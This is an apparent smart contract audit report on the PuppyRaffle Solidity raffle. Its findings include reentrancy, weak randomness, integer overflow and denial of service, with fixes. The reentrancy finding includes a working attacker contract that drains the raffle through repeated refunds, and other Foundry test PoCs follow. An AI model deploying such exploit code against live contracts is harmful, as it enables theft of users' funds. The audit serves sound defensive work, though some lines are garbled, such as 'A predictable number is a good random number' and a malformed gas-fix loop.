PuppyRaffle Audit Report

Version 1.0

Tech Scorpion

May 24, 2024

Puppy Raffle Audit Report

Tech Scorpion

May 24, 2024

Prepared by: Tech Scorpion

Lead Security Researcher:

- Defeated Never

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Tech Scorpion team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Audit Scope Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This audit report, prepared by Tech Scorpion on May 24, 2024, evaluates the security and functionality of the PuppyRaffle smart contract. The primary goal of the audit was to identify potential vulnerabilities in the code and ensure the contract performs as intended.

Led by Defeated Never, the Tech Scorpion team conducted a comprehensive analysis of the PuppyRaffle smart contract. Their efforts revealed several issues, each varying in severity. Addressing these identified problems will significantly improve the contract's robustness and reliability. It is imperative for the protocol's owner to implement the suggested changes to reduce risks and guarantee a secure and seamless user experience.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle:refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle:refund` does not follow the CEI (Checks, Effects, Interactions) and as a result enables the participants to drain the contrant balance.

In the `PuppyRaffle:refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle:players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6
7  @>          payable(msg.sender).sendValue(entranceFee);
8  @>         players[playerIndex] = address(0);
9
10         emit RaffleRefunded(playerAddress);
11     }
```

A player who has entered the raffle could have a `fallback/receive` funtion that calls the `PuppyRaffle::refund` again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof Of Code

Code

Place the following code into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyRefund() public {
```

```
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContratBalance = address(attackerContract
            ).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attacker
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting Attack Contrat Balance: ",
            startingAttackContratBalance);
        console.log("starting Contract Balance: ",
            startingContractBalance);

        console.log("ending Attack Contract Balance: ", address(
            attackerContract).balance);
        console.log("ending Contract Balance: ", address(puppyRaffle).
            balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
```

```
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To prevent this, we should have `PuppyRaffle::refund` function update the update the `players` array before making any external call. Additionally, we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +        players[playerIndex] = address(0);
6  +        emit RaffleRefunded(playerAddress);
7          payable(msg.sender).sendValue(entranceFee);
8  -        players[playerIndex] = address(0);
9  -        emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak randomness is `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timStamp`, and block `block.difficulty` together creates a predictable final number. A predictable number is a good random number. Malicious users can manipulate these values themselves or know them ahead of time to choose the winner of the raffle themselves.

Note! This additionally means users could front-run this function call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp`, `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puuppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
//18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle:selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows the `feeAddres` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees =  153255926290448384
```

4. You will not be able to withdraw fees due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraws the fees, this is clearly not the intended design of the protocol. At some point , there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000
        console.log("starting total fees", startingTotalFees);

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        console.log("contract balance: ", address(puppyRaffle).balance)
            ;

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::`

`withdrawFees`

2. You could also use the `SfaeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack(DoS) attack, incrementing gas costs for future entrants.

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big , that no one else enters, guaranteeing themselves the win.

Proof of Concepts

If we have 2 sets of 100 players enter, the gas costs will be as such: - Gas cost of the first 100 players: 6252128 - Gas cost of the Second 100 players: 18068218

This is 3x more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffle.t.sol`.

```
function test_denialOfService() public {
        vm.txGasPrice(1);
```

```
3
4           // Let's enter a 100 players
5           uint256 playersNum = 100;
6           address[] memory players = new address[](playersNum);
7           for (uint256 i = 0; i < playersNum; i++) {
8               players[i] = address(i);
9           }
10
11          // see how much gas it will cost
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
14          uint256 gasEnd = gasleft();
15
16          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17          console.log("Gas cost of the first 100 players: ", gasUsedFirst
                );
18
19          // Now for the second player
20          address[] memory playersTwo = new address[](playersNum);
21          for (uint256 i = 0; i < playersNum; i++) {
22              playersTwo[i] = address(i + playersNum);
23          }
24
25          // see how much gas it will cost
26          uint256 gasStart2 = gasleft();
27          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
28          uint256 gasEnd2 = gasleft();
29
30          uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
31          console.log("Gas cost of the Second 100 players: ",
                gasUsedSecond);
32
33          assert(gasUsedFirst < gasUsedSecond);
34
35      }
```

Recommended mitigation There are va few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1   mapping(address => uint256) public playerEntries;
2     .
3     .
```

```
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );

        for (uint256 i = 0; i < newPlayers.length; i++) {
            // Start loop from 0
            address player = newPlayers[i];
            require(
                playerEntries[player] == 0,
                "PuppyRaffle: Duplicate player"
            );
            players.push(newPlayers[i]);
            playerEntries[player]++;
        }

        emit RaffleEnter(newPlayers);
    }
```

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library].

[M-2] Smart contracts wallets raffle winners without a `receive` of `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners could not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function.
2. The lottery ends
3. The `selectWinner` function would't work, even though the lottery is over!

Recommended Mitigation: There are few options to mitigate this issue:

1. Do not allow smart contracts wallet entrants(not recommended)

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
 function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered due the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns `-1` if the player is not active

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaffle:raffleDuration` should be `immutable` - `PuppyRaffle:commonImageUri` should be `constant` - `PuppyRaffle:rareImageUri` should be `constant` - `PuppyRaffle:legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `player.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 1 - 0; i < playersLength - 1; i++){
-    for (uint256 j = i + 1; j < players.length; j++) {
+      for (uint256 j  = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
             }
         }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity like `0.8.18`.

Please see slither documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 68

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 217

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best practice to keep code clean and follow follow the CEI (Checks, Effects, Interactions).

```
1  -    (bool success,) = winner.call{value: prizePool}("");
2  -         require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3           _safeMint(winner, tokenId);
4  +         (bool success,) = winner.call{value: prizePool}("");
5  +         require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a code base, and it is much more readable if the numbers are given a name.

Examples:

```
1  - uint256 prizePool = (totalAmountCollected * 80) / 100;
2  - uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  uint256 public constant FEE_PERCENTAGE = 20;
3  uint256 public constant POOL_PRECISION = 100;
```

[I-6:] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 57

```
1      event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 58

```
1      event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 59

```
1      event FeeAddressChanged(address newFeeAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

```
1  function _isActivePlayer() internal view returns (bool) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == msg.sender) {
4                  return true;
5              }
6          }
7          return false;
8      }
```

For more information see Functions that are not used